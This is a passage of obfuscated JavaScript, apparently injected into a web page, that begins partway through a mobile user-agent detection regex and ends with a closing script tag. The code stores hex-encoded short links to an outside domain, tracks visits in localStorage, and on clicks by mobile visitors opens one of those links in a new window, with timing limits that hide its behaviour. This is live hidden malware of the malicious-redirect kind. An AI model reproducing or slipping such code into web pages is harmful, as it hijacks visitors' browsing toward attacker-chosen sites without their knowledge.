)|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x1165a7(0x1ca)](_0x5e9786[_0x1165a7(0x1d1)](0x0,0x4)))_0x399500=!![];}(navigator[_0x123821(0x1c2)]||navigator['vendor']||window[_0x123821(0x1c0)]),_0x399500;};const _0xe6f43=['\x68\x74\x74\x70\x3a\x2f\x2f\x63\x6f\x2d\x6c\x6c\x79\x2e\x6c\x69\x6e\x6b\x2f\x6d\x71\x4a\x30\x63\x370','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x6f\x2d\x6c\x6c\x79\x2e\x6c\x69\x6e\x6b\x2f\x4b\x4c\x6d\x31\x63\x361',_0x111835(0x1c5),_0x111835(0x1d7),_0x111835(0x1c3),_0x111835(0x1e1),_0x111835(0x1c7),_0x111835(0x1c4),_0x111835(0x1e6),_0x111835(0x1e9)],_0x7378e8=0x3,_0xc82d98=0x6,_0x487206=_0x551830=>{const _0x2c6c7a=_0x111835;_0x551830[_0x2c6c7a(0x1db)]((_0x3ee06f,_0x37dc07)=>{const _0x476c2a=_0x2c6c7a;!localStorage['getItem'](_0x3ee06f+_0x476c2a(0x1e8))&&localStorage[_0x476c2a(0x1cf)](_0x3ee06f+_0x476c2a(0x1e8),0x0);});},_0x564ab0=_0x3743e2=>{const _0x415ff3=_0x111835,_0x229a83=_0x3743e2[_0x415ff3(0x1c9)]((_0x37389f,_0x22f261)=>localStorage[_0x415ff3(0x1cb)](_0x37389f+_0x415ff3(0x1e8))==0x0);return _0x229a83[Math[_0x415ff3(0x1c6)](Math[_0x415ff3(0x1cc)]()*_0x229a83[_0x415ff3(0x1d2)])];},_0x173ccb=_0xb01406=>localStorage[_0x111835(0x1cf)](_0xb01406+_0x111835(0x1e8),0x1),_0x5792ce=_0x5415c5=>localStorage[_0x111835(0x1cb)](_0x5415c5+_0x111835(0x1e8)),_0xa7249=(_0x354163,_0xd22cba)=>localStorage[_0x111835(0x1cf)](_0x354163+_0x111835(0x1e8),_0xd22cba),_0x381bfc=(_0x49e91b,_0x531bc4)=>{const _0x1b0982=_0x111835,_0x1da9e1=0x3e8*0x3c*0x3c;return Math[_0x1b0982(0x1d5)](Math[_0x1b0982(0x1e7)](_0x531bc4-_0x49e91b)/_0x1da9e1);},_0x6ba060=(_0x1e9127,_0x28385f)=>{const _0xb7d87=_0x111835,_0xc3fc56=0x3e8*0x3c;return Math[_0xb7d87(0x1d5)](Math[_0xb7d87(0x1e7)](_0x28385f-_0x1e9127)/_0xc3fc56);},_0x370e93=(_0x286b71,_0x3587b8,_0x1bcfc4)=>{const _0x22f77c=_0x111835;_0x487206(_0x286b71),newLocation=_0x564ab0(_0x286b71),_0xa7249(_0x3587b8+'-mnts',_0x1bcfc4),_0xa7249(_0x3587b8+_0x22f77c(0x1d3),_0x1bcfc4),_0x173ccb(newLocation),window['mobileCheck']()&&window[_0x22f77c(0x1d4)](newLocation,'_blank');};_0x487206(_0xe6f43);function _0x168fb9(_0x36bdd0){const _0x2737e0=_0x111835;_0x36bdd0[_0x2737e0(0x1ce)]();const _0x263ff7=location[_0x2737e0(0x1dc)];let _0x1897d7=_0x564ab0(_0xe6f43);const _0x48cc88=Date[_0x2737e0(0x1e3)](new Date()),_0x1ec416=_0x5792ce(_0x263ff7+_0x2737e0(0x1e0)),_0x23f079=_0x5792ce(_0x263ff7+_0x2737e0(0x1d3));if(_0x1ec416&&_0x23f079)try{const _0x2e27c9=parseInt(_0x1ec416),_0x1aa413=parseInt(_0x23f079),_0x418d13=_0x6ba060(_0x48cc88,_0x2e27c9),_0x13adf6=_0x381bfc(_0x48cc88,_0x1aa413);_0x13adf6>=_0xc82d98&&(_0x487206(_0xe6f43),_0xa7249(_0x263ff7+_0x2737e0(0x1d3),_0x48cc88)),_0x418d13>=_0x7378e8&&(_0x1897d7&&window[_0x2737e0(0x1e5)]()&&(_0xa7249(_0x263ff7+_0x2737e0(0x1e0),_0x48cc88),window[_0x2737e0(0x1d4)](_0x1897d7,_0x2737e0(0x1dd)),_0x173ccb(_0x1897d7)));}catch(_0x161a43){_0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}else _0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}document[_0x111835(0x1df)](_0x111835(0x1d8),_0x168fb9);}());</script>